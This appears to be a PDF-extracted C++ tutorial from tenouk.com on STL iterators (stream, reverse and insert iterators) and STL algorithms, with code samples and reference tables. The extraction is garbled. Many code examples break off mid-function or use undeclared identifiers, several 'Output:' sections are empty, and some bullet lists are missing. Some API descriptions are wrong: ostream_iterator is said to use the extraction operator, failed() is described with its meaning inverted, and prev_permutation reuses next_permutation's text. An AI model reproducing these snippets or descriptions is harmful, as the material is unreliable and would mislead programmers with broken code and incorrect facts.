Parameter Description
_Right The iterator for which to check for equality.
Page 7 of 24
Table 32.10
- The return value is true if both istreambuf_iterators are end-of-stream iterators or if neither is
an end-of-stream iterator; otherwise false.
- A range is defined by the istreambuf_iterator to the current position and the end-of-stream
iterator, but since all non-end-of stream iterators are equivalent under the equal() member function,
it is not possible to define any sub-ranges using istreambuf_iterators.
- The == and != operators have the same semantics.
//istreambuf_iterator, equal
#include <iterator>
#include <iostream>
using namespace std;
int main()
{
cout<<"\nOperation: bol = readchinpt1.equal(readchinpt2)\n";
cout<<"Enter a line of text then an Enter key to\n"
<<"insert into the output:\n";
istreambuf_iterator<char> readchinpt1(cin);
istreambuf_iterator<char> readchinpt2(cin);
Output:
istreambuf_iterator::istreambuf_iterator
- Constructs an istreambuf_iterator that is initialized to read characters from the input stream.
istreambuf_iterator
(
streambuf_type* _Strbuf = 0
) throw();
istreambuf_iterator
(
istream_type& _Istr
) throw();
Parameters
Parameter Description
_Strbuf The input stream buffer to which the istreambuf_iterator is being attached.
_Istr The input stream to which the istreambuf_iterator is being attached.
Table 32.11
- The first constructor initializes the input stream-buffer pointer with _Strbuf.
- The second constructor initializes the input stream-buffer pointer with _Istr.rdbuf, and then
eventually attempts to extract and store an object of type CharType.
Page 8 of 24
//istreambuf_iterator, istreambuf_iterator
#include <iterator>
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
istreambuf_iterator<char>::istream_type &istrm = cin;
istreambuf_iterator<char>::streambuf_type *strmbf = cin.rdbuf();
istreambuf_iterator<char> charReadIn(cin);
ostreambuf_iterator<char> charOut(cout);
Output:
Operators
Operator Description
operator* The dereferencing operator returns the next character in the stream.
Either returns the next character from the input stream or copies the object before
operator++
incrementing it and returns the copy.
operator-> Returns the value of a member, if any.
Table 32.12
istreambuf_iterator::operator++
- Either returns the next character from the input stream or copies the object before incrementing it and
returns the copy.
istreambuf_iterator& operator++();
istreambuf_iterator operator++(int);
//istreambuf_iterator, operator++
#include <iterator>
#include <iostream>
using namespace std;
int main()
{
cout<<"Type a line of text & enter to output it, with stream\n"
<<"buffer iterators, repeat as many times as desired,\n"
<<"then keystroke ctrl-Z Enter to exit program: \n";
istreambuf_iterator<char> inpos(cin);
Page 9 of 24
istreambuf_iterator<char> endpos;
ostreambuf_iterator<char> outpos(cout);
while(inpos != endpos)
{
*outpos = *inpos;
//Increment istreambuf_iterator
++inpos;
++outpos;
}
return 0;
}
Output:
- The template class ostream_iterator describes an output iterator object that writes successive
elements onto the output stream with the extraction operator >>.
template <
class Type
class CharType = char
class Traits = char_traits<CharType>
>
Parameters
Parameter Description
Type The type of object to be inserted into the output stream.
The type that represents the character type for the ostream_iterator.
CharType
This argument is optional and the default value is char.
The type that represents the character type for the ostream_iterator.
Traits This argument is optional and the default value is
char_traits<CharType>.
Table 32.13
- The ostream_iterator class must satisfy the requirements for an output iterator.
- Algorithms can be written directly to output streams using an ostream_iterator.
Typedefs
Typedef Description
A type that provides for the character type of the
char_type
ostream_iterator.
A type that provides for the stream type of the
ostream_type
ostream_iterator.
A type that provides for the character traits type of
traits_type
the ostream_iterator.
Table 32.14
Page 10 of 24
ostream_iterator::ostream_iterator
- Constructs an ostream_iterator that is initialized and delimited to write to the output stream.
ostream_iterator(ostream_type& _Ostr);
ostream_iterator(ostream_type& _Ostr, const CharType* _Delimiter);
Parameters
Parameter Description
_Ostr The output stream object used to initialize the output stream pointer.
_Delimiter The output stream delimiter used to initialize the output stream pointer.
Table 32.15
- The first constructor initializes the output stream pointer with &_Ostr. The delimiter string pointer
designates an empty string.
- The second constructor initializes the output stream pointer with &_Ostr and the delimiter string
pointer with _Delimiter.
//ostream_iterator, ostream_iterator
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
//ostream_iterator for stream cout
ostream_iterator<int> intOut(cout, "\n");
*intOut = 12;
intOut++;
*intOut = 33;
intOut++;
int i;
vector<int> vec;
for(i = 10; i<=15; ++i)
vec.push_back(i);
Output:
Member Functions
Page 11 of 24
Table 32.16
Operators
Operator Description
Dereferencing operator used to implement the output iterator expression
operator*
such as *i = x.
A nonfunctional increment operator that returns an ostream_iterator
operator++
to the same object it addressed before the operation was called.
Assignment operator used to implement the output iterator expression such
operator=
as *i = x for writing to an output stream.
Table 32.17
ostream_iterator::operator=
Parameter
Parameter Description
_Val The value of the object of type Type to be inserted into the output stream.
Table 32.18
- The return value is the operator inserts _Val into the output stream associated with the object, and then
returns a reference to the ostream_iterator.
- The requirements for an output iterator that the ostream_iterator must satisfy require only the
expression such as*j = t be valid and says nothing about the operator or the operator= on their own.
- This member operator returns *this.
//ostream_iterator, operator=
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
//ostream_iterator for stream cout
//with new line delimiter
ostream_iterator<int> intOut(cout, "\n");
Output:
Page 12 of 24
ostreambuf_iterator Template Class
- The template class ostreambuf_iterator describes an output iterator object that writes
successive character elements onto the output stream with the extraction operator>>.
- The ostreambuf_iterators differ from those of the ostream_iterator Class in having
characters instead of a generic type at the type of object being inserted into the output stream.
template <
class CharType = char
class Traits = char_traits<CharType>
>
Parameters
Parameter Description
The type that represents the character type for the
CharType ostreambuf_iterator. This argument is optional and
the default value is char.
The type that represents the character type for the
Traits ostreambuf_iterator. This argument is optional and
the default value is char_traits<CharType>.
Table 32.19
- The ostreambuf_iterator class must satisfy the requirements for an output iterator. Algorithms
can be written directly to output streams using an ostreambuf_iterator.
- The class provides a low-level stream iterator that allows access to the raw (unformatted) I/O stream in
the form of characters and the ability to bypass the buffering and character translations associated with
the high-level stream iterators.
Typedefs
Typedef Description
A type that provides for the character type of the
char_type
ostreambuf_iterator.
A type that provides for the stream type of the
ostream_type
ostream_iterator.
A type that provides for the stream type of the
streambuf_type
ostreambuf_iterator.
A type that provides for the character traits type of
traits_type
the ostream_iterator.
Table 32.20
ostreambuf_iterator::ostreambuf_iterator
Parameters
Page 13 of 24
Parameter Description
_Strbuf The output streambuf object used to initialize the output stream-buffer pointer.
_Ostr The output stream object used to initialize the output stream-buffer pointer.
Table 32.21
- The first constructor initializes the output stream-buffer pointer with _Strbuf.
- The second constructor initializes the output stream-buffer pointer with _Ostr.rdbuf.
- The stored pointer must not be a null pointer.
//ostreambuf_iterator, ostreambuf_iterator
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
// ostreambuf_iterator for stream cout
ostreambuf_iterator<char> charOut(cout);
*charOut = '7';
charOut ++;
*charOut = 'T';
charOut ++;
*charOut = 'W';
cout<<" are characters output."<<endl;
ostreambuf_iterator<char> strOut(cout);
string str = "These characters are being written to the output stream.\n ";
copy(str.begin(), str.end(), strOut);
return 0;
}
Output:
Member Functions
Table 32.22
ostreambuf_iterator::failed
- The return value is true if no insertion into the output stream buffer has failed earlier; otherwise false.
- The member function returns true if, in any prior use of member operator=, the call to subf_-
>sputc returned eof.
//ostreambuf_iterator, failed()
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
Page 14 of 24
//ostreambuf_iterator for stream cout
ostreambuf_iterator<char> charOut(cout);
*charOut = 'T';
charOut ++;
*charOut = '7';
charOut ++;
*charOut = 'R';
cout<<" are characters output"<<endl;
Output:
Operators
Operator Description
Dereferencing operator used to implement the output iterator expression such as
operator*
*i = x.
A nonfunctional increment operator that returns an ostreambuf_iterator
operator++
to the same object it addressed before the operation was called.
operator= The operator inserts a character into the associated stream buffer.
Table 32.23
- The template class is an iterator adaptor that describes a reverse iterator object that behaves like a
random-access or bidirectional iterator, only in reverse. It enables the backward traversal of a range.
template<class Iterator>
Parameter
Parameter Description
Iterator The type that represents the iterator to be adapted to operate in reverse.
Table 32.24
Page 15 of 24
&*(reverse_iterator (i)) == &*(i – 1)
- In practice, this means that in the reversed sequence the reverse_iterator will refer to the
element one position beyond (to the right of) the element that the iterator had referred to in the original
sequence.
- So if an iterator addressed the element valued 6 in the sequence (2, 4, 6, 8), then the
reverse_iterator will address the element valued 4 in the reversed sequence (8, 6, 4, 2).
Typedefs
Typedef Description
A type that provides the difference between two reverse_iterators
difference_type
referring to elements within the same container.
iterator_type A type that provides the underlying iterator for a reverse_iterator.
A type that provides a pointer to an element addressed by a
pointer
reverse_iterator.
A type that provides a reference to an element addressed by a
reference
reverse_iterator.
Table 32.25
reverse_iterator::operator[]
Parameter
Parameter Description
_Off The offset from the reverse_iterator address.
Table 32.26
//reverse_iterator, operator[]
#include <iterator>
#include <algorithm>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
int i;
vector<int> vec;
for(i = 10; i<=17; ++i)
vec.push_back(i);
cout<<"Normal....\n";
vector <int>::iterator vIter;
cout<<"The vector vec data: ";
for(vIter = vec.begin(); vIter != vec.end(); vIter++)
cout<<*vIter<<" ";
cout<<endl;
cout<<"\nReverse....\n";
vector <int>::reverse_iterator rvIter;
cout<<"The vector vec reversed data: ";
for(rvIter = vec.rbegin(); rvIter != vec.rend(); rvIter++)
cout<<*rvIter<<" ";
cout<<endl;
Page 16 of 24
cout<<"Operation: pos = find(vec.begin(), vec.end(), 15)\n";
vector <int>::iterator pos;
pos = find(vec.begin(), vec.end(), 15);
cout<<"\nOperation: rpos(pos)\n";
cout<<"The iterator rpos points to: "<<*rpos<<endl;
Output:
reverse_iterator::pointer
//reverse_iterator, pointer
#include <iterator>
#include <algorithm>
#include <vector>
#include <utility>
#include <iostream>
using namespace std;
int main()
{
pVector::iterator pvIter;
cout<<"Operation: pvIter->first and pvIter->second\n";
cout<<"The vector vec of integer pairs is: \n";
for(pvIter = vec.begin(); pvIter != vec.end(); pvIter++)
cout<<pvIter->first<<", "<<pvIter->second<<endl;
pVector::reverse_iterator rpvIter;
cout<<"\nOperation: reverse rpvIter->first and rpvIter->second";
Page 17 of 24
cout<<"\nThe vector vec reversed is: \n";
for(rpvIter = vec.rbegin(); rpvIter != vec.rend(); rpvIter++)
cout<<rpvIter->first<< ", " <<rpvIter->second<<endl;
Output:
Member Functions
Table 32.27
reverse_iterator::base
- In practice, this means that in the reversed sequence the reverse_iterator will refer to the
element one position beyond (to the right of) the element that the iterator had referred to in the original
sequence.
- So if an iterator addressed the element valued 6 in the sequence (2, 4, 6, 8), then the
reverse_iterator will address the element valued 4 in the reversed sequence (8, 6, 4, 2).
//reverse_iterator, base()
#include <iterator>
#include <algorithm>
#include <vector>
Page 18 of 24
#include <iostream>
using namespace std;
int main()
{
int i;
vector<int> vec;
for(i = 10; i<=15; ++i)
vec.push_back(i);
vector<int>::reverse_iterator rvIter;
cout<<"The vector vec reversed data: ";
for(rvIter = vec.rbegin(); rvIter != vec.rend(); rvIter++)
cout<<*rvIter<<" ";
cout<<endl;
cout<<"\nFinding data...";
cout<<"\nOperation: pos = find(vec.begin(), vec.end(), 13)\n";
vector <int>::iterator pos, bpos;
pos = find(vec.begin(), vec.end(), 13);
cout<<"The iterator pos points to: "<<*pos<<endl;
reverse_iterator<it_vec_int_type> rpos(pos);
cout<<"The reverse_iterator rpos points to: "<<*rpos<<endl;
bpos = rpos.base();
cout<<"The iterator underlying rpos is bpos & it points to: "<<*bpos<<endl;
return 0;
}
Output:
Operators
Operator Description
operator* Returns the element that a reverse_iterator addresses.
Adds an offset to an iterator and returns the new reverse_iterator
operator+
addressing the inserted element at the new offset position.
operator++ Increments the reverse_iterator to the next element.
operator+= Adds a specified offset from a reverse_iterator.
Subtracts an offset from a reverse_iterator and returns a
operator-
reverse_iterator addressing the element at the offset position.
Operator-- Decrements the reverse_iterator to the previous element.
operator-= Subtracts a specified offset from a reverse_iterator.
operator-> Returns a pointer to the element addressed by the reverse_iterator.
Returns a reference to an element offset from the element addressed by a
operator[]
reverse_iterator by a specified number of positions.
Page 19 of 24
Table 32.28
- We can write classes that have the interface of iterators but do something completely different. The
C++ standard library provides several predefined special iterators, iterator adapters. They extend the
functionalities of the iterators.
- The three iterator adapters are:
1. Insert iterators
2. Stream iterators
3. Reverse iterators
- Insert iterators, or inserters are used to let algorithms operate in the insert mode rather than in an
overwrite mode.
- In particular, they solve the problem of algorithms that write to a destination that does not have enough
storage; they let the destination grow accordingly.
- The following table lists the insert iterators and their functionality.
//Inserter iterator
#include <iostream>
#include <vector>
#include <deque>
#include <list>
#include <set>
#include <algorithm>
using namespace std;
int main()
{
list<int> lst;
list <int>::iterator lstIter;
//insert elements from 1 to 10 into the lst list
for(int i=1; i<=10; ++i)
lst.push_back(i);
cout<<"Operation: lst.push_back(i)\n";
cout<<"lst data: ";
for(lstIter = lst.begin(); lstIter != lst.end(); lstIter++)
cout<<*lstIter<<' ';
cout<<endl;
//copy the elements of lst list into vec vector by appending them
vector<int> vec;
vector <int>::iterator Iter;
//from source to destination...
copy(lst.begin(), lst.end(), back_inserter(vec));
Page 20 of 24
cout<<*deqIter<<" ";
cout<<endl;
Output:
- The program example uses all three predefined insert iterators as listed below:
Iterator Description
Back inserters can be used only for containers that provide push_back() as a
Back inserters member function. In the C++ standard library, these containers are vector, deque,
and list.
Front inserter reverses the order of the inserted elements. If you insert 1 at the front
and then 2 at the front, the 1 is after the 2. Front inserters can be used only for
Front inserters
containers that provide push_front() as a member function. In the C++
standard library, these containers are deque and list.
A general inserter, also called simply an inserter, inserts elements directly in
front of the position that is passed as the second argument of its initialization. It
General inserters calls the insert() member function with the new value and the new position as
arguments. Note that all predefined containers have such an insert() member
function. This is the only predefined inserter for associative containers.
Table 32.30
- Another very helpful kind of iterator adapter is a stream iterator. Stream iterators are iterators that
read from and write to a stream.
- Thus, they provide an abstraction that lets the input from the keyboard behave as a collection, from
which you can read. Similarly you can redirect the output of an algorithm directly into a file or onto
the screen.
- Consider the following example. It is a typical example of the power of the whole STL. Compared
with ordinary C or C++, it does a lot of complex processing by using only a few statements. For
example study the following example.
//stream iterator
#include <iostream>
#include <vector>
#include <string>
#include <algorithm>
using namespace std;
Page 21 of 24
int main()
{
vector<string> strvec;
vector <string>::iterator Iter;
//read from the standard input until EOF/error
//the EOF is platform dependent...
//then copy (inserting) to strvec vector...
//copy from begin to end of source, to destination
Output:
int main()
{
vector<int> vec;
//insert elements from 1 to 10
for(int i=1; i<=10; ++i)
vec.push_back(i);
Output:
Page 22 of 24
- Program example compiled using g++.
//******ostreamiterator.cpp********
//ostream_iterator, ostream_iterator
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
//ostream_iterator for stream cout
ostream_iterator<int> intOut(cout, "\n");
*intOut = 12;
intOut++;
*intOut = 33;
intOut++;
int i;
vector<int> vec;
for(i = 10; i<=15; ++i)
vec.push_back(i);
12
33
Operation: with and without delimiter...
Elements output without delimiter: 101112131415
Elements output with delimiter: 10 11 12 13 14 15
//*****insertiter.cpp******
//Inserter iterator
#include <iostream>
#include <vector>
#include <deque>
#include <list>
#include <set>
#include <algorithm>
using namespace std;
int main()
{
list<int> lst;
list <int>::iterator lstIter;
//insert elements from 1 to 10 into the lst list
for(int i=1; i<=10; ++i)
lst.push_back(i);
cout<<"Operation: lst.push_back(i)\n";
cout<<"lst data: ";
for(lstIter = lst.begin(); lstIter != lst.end(); lstIter++)
cout<<*lstIter<<' ';
cout<<endl;
//copy the elements of lst list into vec vector by appending them
Page 23 of 24
vector<int> vec;
vector <int>::iterator Iter;
//from source to destination...
copy(lst.begin(), lst.end(), back_inserter(vec));
Operation: lst.push_back(i)
lst data: 1 2 3 4 5 6 7 8 9 10
-------------------------------------------End of Iterator--------------------------------------
---www.tenouk.com---
Page 24 of 24
MODULE 33
--THE STL--
ALGORITHM PART I
Note: Compiled using Microsoft Visual C++ .Net, win32 empty console mode application. g++ compilation
examples given at the end of this Module.
Ability
33.1 Algorithms
- We have covered containers and iterators, now we are going to complete our discussion by introducing
algorithms.
- We create data structure by using containers, and then we use iterators to traverse or iterate the data
structure. During the iteration we will use algorithm, a set of rules that actually defined what to do to
the data structure: sorting, searching, re ordering etc.
- The STL provides several standard algorithms for the processing of elements of collections.
- These algorithms offer general fundamental services, such as searching, sorting, copying, reordering,
modifying, and numerical processing, so that no need for us to start developing program portions or
routines from scratch. Furthermore they have been tested and your task is to learn how to manipulate
these ‘creatures’.
- Algorithms are global functions that operate with iterators; hence, all algorithms can be implemented
once for any container type. The algorithm might even operate on elements of different container types.
Furthermore you can also use the algorithms for user-defined container types.
- Let's start with a simple example, the use of STL algorithms. Consider the following program:
int main()
{
//declare a vector and the iterator
vector<int> vec;
vector<int>::iterator pos;
www.tenouk.com Page 1 of 9
cout<<endl<<endl;
Output:
- To be able to call the algorithms, you must include the header file <algorithm> as shown below.
#include <algorithm>
- The min_element() algorithm returns the position of the minimum element (if there is more than
one, the algorithm returns the first). The next statement prints that element:
- The next algorithm called is sort(). As the name indicates, it sorts the elements of the range defined
by the two arguments.
- You could also pass an optional sorting criterion. The default sorting criterion is operator < (less
than). Thus, in this example all elements of the container are sorted in ascending order:
sort(vec.begin(), vec.end());
0 4 7 8 9 12
- The find() algorithm searches for a value inside the given range. In this example, it searches the first
element that is equal to the value 3 in the whole container:
www.tenouk.com Page 2 of 9
- If the find() algorithm is successful, it returns the iterator position of the element found. If it fails, it
returns the end of the range, the past-the-end iterator, which is passed as the second argument.
- In this example, the value 8 is found as the third element, so afterward pos refer to the third element of
vec.
- The last algorithm called in the example is reverse(), which reverses the elements of the passed
range. Here the third element that was found by the find() algorithms and the past-the end iterator
are passed as arguments:
reverse(pos, vec.end());
- This call reverses the order of the third element up to the last one.
33.1.2 Ranges
- All algorithms process one or more ranges of elements. Such a range might, but is not required to,
embrace all elements of a container.
- Therefore, to be able to handle subsets of container elements, you pass the beginning and the end of the
range as two separate arguments rather than the whole collection as one argument.
- The caller must ensure that the first and second arguments define a valid range. This is the case if the
end of the range is reachable from the beginning by iterating through the elements.
- This means, it is up to the programmer to ensure that both iterators belong to the same container and that
the beginning is not behind the end. If this is not the case, the behavior is undefined and endless loops or
forbidden memory access may result.
- Several algorithms process more than one range. In this case you usually must define both the
beginning and the end only for the first range.
- For all other ranges you need to pass only their beginnings. The ends of the other ranges follow from
the number of elements of the first range.
- For example, the following call of equal() compares all elements of the collection vec1 element-
by-element with the elements of vec2 beginning with its first element:
- Thus, the number of elements of vec2 that are compared with the elements of vec1 is specified
indirectly by the number of elements in vec1.
- Hence, when you call algorithms for multiple ranges, and make sure the second and additional ranges
have at least as many elements as the first range.
- That means make sure that destination ranges are big enough for algorithms that write to collections.
- Consider the following program:
//algorithms, example
#include <iostream>
#include <vector>
#include <list>
#include <algorithm>
using namespace std;
int main()
{
list<int> lst1;
vector<int> vec1;
//insert elements from 1 to 9
for(int i=1; i<=9; ++i)
lst1.push_back(i);
//RUNTIME ERROR:
// - overwrites nonexistence elements in the destination
copy (lst1.begin(), lst1.end(), //the source
vec1.begin()); //the destination
......
}
www.tenouk.com Page 3 of 9
- Here, the copy() algorithm is called. It simply copies all elements of the first range into the
destination range.
- Notice that, for the first range, the beginning and the end are defined, whereas for the second range,
only the beginning is specified.
- However, the algorithm overwrites rather than inserts. So, the algorithm requires that the destination
has enough elements to be overwritten. If there is not enough room, as in this case, the result is
undefined behavior and normally compiler will generate errors.
- In practice, this often means that you overwrite whatever comes after the vec.end(). To avoid these
errors, you can:
- To make the destination big enough, you must either create it with the correct size or change its size
explicitly. Both alternatives apply only to sequence containers (vectors, deques, and lists).
- The following program shows how to increase the size of containers:
//algorithm, example
#include <iostream>
#include <vector>
#include <list>
#include <deque>
#include <algorithm>
using namespace std;
int main()
{
list<int> lst1;
list<int>::iterator pos;
vector<int> vec1;
vector<int>::iterator pos1;
//display data
cout<<"The list lst1 data: ";
for(pos=lst1.begin(); pos!=lst1.end(); pos++)
cout<<*pos<<" ";
cout<<endl;
Output:
www.tenouk.com Page 4 of 9
- Here, resize() is used to change the number of elements in the existing container vec1:
vec1.resize(vec1.size());
- deq1 is initialized with a special initial size so that it has enough room for all elements of lst1:
deque<int> deq1(vec1.size());
- Note that both resizing and initializing the size create new elements. These elements are initialized by
their default constructor because no arguments are passed to them.
- You can pass an additional argument both for the constructor and for resize() to initialize the new
elements.
- Even if you are able to use an algorithm, it might not be suitable in certain circumstances.
- You have learned from the program examples in the module (container), a container might have
member functions that provide much better solution such as in term of performance.
- Calling remove() for elements of a list is a good example of this. If you call remove() for
elements of a list, the algorithm doesn't know that it is operating on a list.
- Thus, it does what it does for any container: It reorders the elements by changing their values. If, for
example, it removes the first element, all the following elements are assigned to their previous
elements.
- This behavior contradicts the main advantage of lists, the ability to insert, move, and remove elements
by modifying the links instead of the values. To overcome this, lists provide special member functions
for all manipulating algorithms and it is better to use them instead of using algorithm version.
- The STL is an extensible framework. This means you can write your own functions and algorithms to
process elements of collections and these operations may also be generic.
- However, to declare a valid iterator in these operations, you must use the type of the container, which is
different for each container type.
- To facilitate the writing of generic functions, each container type provides some internal type
definitions.
- To increase their flexibility and power, several algorithms allow the passing of user-defined auxiliary
functions. These functions are called internally by the algorithms.
33.5 Predicates
- Unary predicates check a specific property of a single argument. A typical simple example is a function
that is used as a search criterion to find the first prime number:
www.tenouk.com Page 5 of 9
//Algorithm, simple example
#include <iostream>
#include <list>
#include <algorithm>
//for abs()
#include <cstdlib>
using namespace std;
int main()
{
list<int> lst1;
if(pos != lst1.end())
{
//found
cout<<*pos<<" is the first prime number found"<<endl;
}
else {
//not found
cout<<"no prime number found"<<endl;
}
}
Output:
- In this example, the find_if() algorithm is used to search for the first element of the given range
for which the passed unary predicate yields true.
- The predicate is the isPrimeNum() function. This function checks whether a number is a prime
number. By using it, the algorithm returns the first prime number in the given range.
www.tenouk.com Page 6 of 9
- If the algorithm does not find any element that matches the predicate, it returns the end of the range (its
second argument).
//algorithm, predicate
#include <iostream>
#include <string>
#include <deque>
#include <algorithm>
using namespace std;
class Person
{
public:
string firstname() const;
string lastname() const;
...
};
int main()
{
deque<Person> deq1;
...
sort(deq1.begin(), deq1.end(), SortCriterion);
...
}
- Note that you can also implement a sorting criterion as a function object. This kind of implementation
has the advantage that the criterion is a type, which you could use, for example, to declare sets that use
this criterion for sorting its elements.
- A specialized notation is used to compare the relative complexity of an algorithm. Using this measure,
we can categorize quickly the relative runtime of an algorithm as well as perform qualitative
comparisons between algorithms. This measure is called Big-O notation.
- The Big-O notation expresses the runtime of an algorithm as a function of a given input of size n. For
example, if the runtime grows linearly with the number of elements (doubling the input doubles the
runtime) the complexity is O(n). If the runtime is independent of the input, the complexity is O(1).
- The following Table lists typical values of complexity and their Big-O notation.
www.tenouk.com Page 7 of 9
number of elements.
- It is only a rule of thumb; the algorithm with optimal complexity is not necessarily the best one.
- Some complexity definitions in the C++ reference manual are specified as amortized. This means that
the operations in the long term behave as described.
- However, a single operation may take longer than specified. For example, if you append elements to a
dynamic array, the runtime depends on whether the array has enough memory for one more element.
- If there is enough memory, the complexity is constant because inserting a new last element always
takes the same time.
- But, if there is not enough memory, the complexity is linear. This is because, depending on the actual
number of elements, you have to allocate new memory and copy all elements.
- Reallocations are rather rare, so any sufficiently long sequence of that operation behaves as if each
operation has constant complexity. Thus, the complexity of the insertion is "amortized" constant time.
- Program example compiled using g++.
//********algo.cpp*********
//algorithm, example
#include <iostream>
#include <vector>
#include <list>
#include <deque>
#include <algorithm>
using namespace std;
int main()
{
list<int> lst1;
list<int>::iterator pos;
vector<int> vec1;
vector<int>::iterator pos1;
//display data
cout<<"The list lst1 data: ";
for(pos=lst1.begin(); pos!=lst1.end(); pos++)
cout<<*pos<<" ";
cout<<endl;
www.tenouk.com Page 8 of 9
The list lst1 data: 1 2 3 4 5 6 7 8 9 10
www.tenouk.com Page 9 of 9
MODULE 34
--THE STL--
ALGORITHM PART II
Note: Compiled using Microsoft Visual C++/.Net, win32 empty console mode application. g++ compilation
examples given at the end of this Module.
Abilities
- Defines Standard Template Library (STL) container template functions that perform algorithms. The
following header must be included in your program.
#include <algorithm>
- The STL algorithms are generic because they can operate on a variety of data structures. The data
structures that they can operate on included not only the STL container classes such as vector and list,
but also program-defined data structures and arrays of elements that satisfy the requirements of a
particular algorithm.
- STL algorithms achieve this level of generality by accessing and traversing the elements of a container
indirectly through iterators.
- STL algorithms process iterator ranges that are typically specified by their beginning or ending
positions.
- The ranges referred to must be valid in the sense that all pointers in the ranges must be de-referenceable
and within the sequences of each range, the last position must be reachable from the first by
incrementation.
- The STL algorithms extend the actions supported by the operations and member functions of each STL
container and allow working, for example, with different types of container objects at the same time.
Two suffixes have been used to convey information about the purpose of the algorithms.
▪ The _if suffix indicates that the algorithm is used with function objects operating on the values
of the elements rather than on the values of the elements themselves. The find_if() algorithm
looks for elements whose values satisfy the criterion specified by a function object, and the
find() algorithm searches for a particular value.
▪ The copy suffix indicates that the algorithm not only manipulates the values of the elements but
also copies the modified values into a destination range. For example, the reverse() algorithm
reverses the order of the elements within a range, and the reverse_copy() algorithm also
copies the result into a destination range.
- STL algorithms are often classified into groups that indicate something about their purpose or
requirements.
- These include modifying algorithms that change the value of elements as compared with non-
modifying algorithms that do not. Mutating algorithms change the order of elements, but not the
values of their elements.
- Removing algorithms can eliminate elements from a range or a copy of a range.
- Sorting algorithms reorder the elements in a range in various ways and sorted range algorithms only
act on algorithms whose elements have been sorted in a particular way.
- The STL numeric algorithms that are provided for numerical processing have their own header file
<numeric>, and function objects and adaptors are defined in the header <functional>.
- Function objects that return Boolean values are known as predicates. The default binary predicate
is the comparison operator<.
- In general, the elements being ordered need to be less than comparable so that, given any two
elements, it can be determined either that they are equivalent, in the sense that neither is less than the
other or that one is less than the other.
- This results in an ordering among the nonequivalent elements.
www.tenouk.com Page 1 of 35
34.2 <algorithm> Member Functions
- The following table is a list of the member functions available in <algorithm>. So many huh!
Member functions
www.tenouk.com Page 2 of 35
Compares two objects and returns the larger of the two, where the
max()
ordering criterion may be specified by a binary predicate.
Finds the first occurrence of largest element in a specified range
max_element()
where the ordering criterion may be specified by a binary predicate.
Combines all the elements from two sorted source ranges into a
merge() single, sorted destination range, where the ordering criterion may be
specified by a binary predicate.
Compares two objects and returns the lesser of the two, where the
min()
ordering criterion may be specified by a binary predicate.
Finds the first occurrence of smallest element in a specified range
min_element()
where the ordering criterion may be specified by a binary predicate.
Compares two ranges element by element either for equality or
mismatch() equivalent in a sense specified by a binary predicate and locates the
first position where a difference occurs.
Reorders the elements in a range so that the original ordering is
next_permutation() replaced by the lexicographically next greater permutation if it exists,
where the sense of next may be specified with a binary predicate.
Partitions a range of elements, correctly locating the nth element of
the sequence in the range so that all the elements in front of it are less
nth_element()
than or equal to it and all the elements that follow it in the sequence
are greater than or equal to it.
Arranges a specified number of the smaller elements in a range into a
partial_sort() non-descending order or according to an ordering criterion specified
by a binary predicate.
Copies elements from a source range into a destination range where
partial_sort_copy() the source elements are ordered by either less than or another
specified binary predicate.
Classifies elements in a range into two disjoint sets, with those
partition() elements satisfying a unary predicate preceding those that fail to
satisfy it.
Removes the largest element from the front of a heap to the next-to-
pop_heap() last position in the range and then forms a new heap from the
remaining elements.
Reorders the elements in a range so that the original ordering is
prev_permutation() replaced by the lexicographically next greater permutation if it exists,
where the sense of next may be specified with a binary predicate.
Adds an element that is at the end of a range to an existing heap
push_heap()
consisting of the prior elements in the range.
Rearranges a sequence of N elements in a range into one of N!
random_shuffle()
possible arrangements selected at random.
Eliminates a specified value from a given range without disturbing the
remove() order of the remaining elements and returning the end of a new range
free of the specified value.
Copies elements from a source range to a destination range, except
that elements of a specified value are not copied, without disturbing
remove_copy()
the order of the remaining elements and returning the end of a new
destination range.
Copies elements from a source range to a destination range, except
that satisfying a predicate are not copied, without disturbing the order
remove_copy_if()
of the remaining elements and returning the end of a new destination
range.
Eliminates elements that satisfy a predicate from a given range
remove_if() without disturbing the order of the remaining elements and returning
the end of a new range free of the specified value.
Examines each element in a range and replaces it if it matches a
replace()
specified value.
Examines each element in a source range and replaces it if it matches
replace_copy() a specified value while copying the result into a new destination
range.
Examines each element in a source range and replaces it if it satisfies
replace_copy_if() a specified predicate while copying the result into a new destination
range.
Examines each element in a range and replaces it if it satisfies a
replace_if()
specified predicate.
reverse() Reverses the order of the elements within a range.
Reverses the order of the elements within a source range while
reverse_copy()
copying them into a destination range
www.tenouk.com Page 3 of 35
rotate() Exchanges the elements in two adjacent ranges.
Exchanges the elements in two adjacent ranges within a source range
rotate_copy()
and copy the result to a destination range.
Searches for the first occurrence of a sequence within a target range
whose elements are equal to those in a given sequence of elements or
search()
whose elements are equivalent in a sense specified by a binary
predicate to the elements in the given sequence.
Searches for the first subsequence in a range that of a specified
search_n() number of elements having a particular value or a relation to that
value as specified by a binary predicate.
Unites all of the elements that belong to one sorted source range, but
not to a second sorted source range, into a single, sorted destination
set_difference()
range, where the ordering criterion may be specified by a binary
predicate.
Unites all of the elements that belong to both sorted source ranges into
set_intersection() a single, sorted destination range, where the ordering criterion may be
specified by a binary predicate.
Unites all of the elements that belong to one, but not both, of the
set_symmetric_difference() sorted source ranges into a single, sorted destination range, where the
ordering criterion may be specified by a binary predicate.
Unites all of the elements that belong to at least one of two sorted
set_union() source ranges into a single, sorted destination range, where the
ordering criterion may be specified by a binary predicate.
Arranges the elements in a specified range into a nondescending order
sort()
or according to an ordering criterion specified by a binary predicate.
sort_heap() Converts a heap into a sorted range.
Classifies elements in a range into two disjoint sets, with those
stable_partition() elements satisfying a unary predicate preceding those that fail to
satisfy it, preserving the relative order of equivalent elements.
Arranges the elements in a specified range into a non-descending
stable_sort() order or according to an ordering criterion specified by a binary
predicate and preserves the relative ordering of equivalent elements.
Exchanges the values of the elements between two types of objects,
swap() assigning the contents of the first object to the second object and the
contents of the second to the first.
Exchanges the elements of one range with the elements of another,
swap_ranges()
equal sized range.
Applies a specified function object to each element in a source range
transform() or to a pair of elements from two source ranges and copies the return
values of the function object into a destination range.
Removes duplicate elements that are adjacent to each other in a
unique()
specified range.
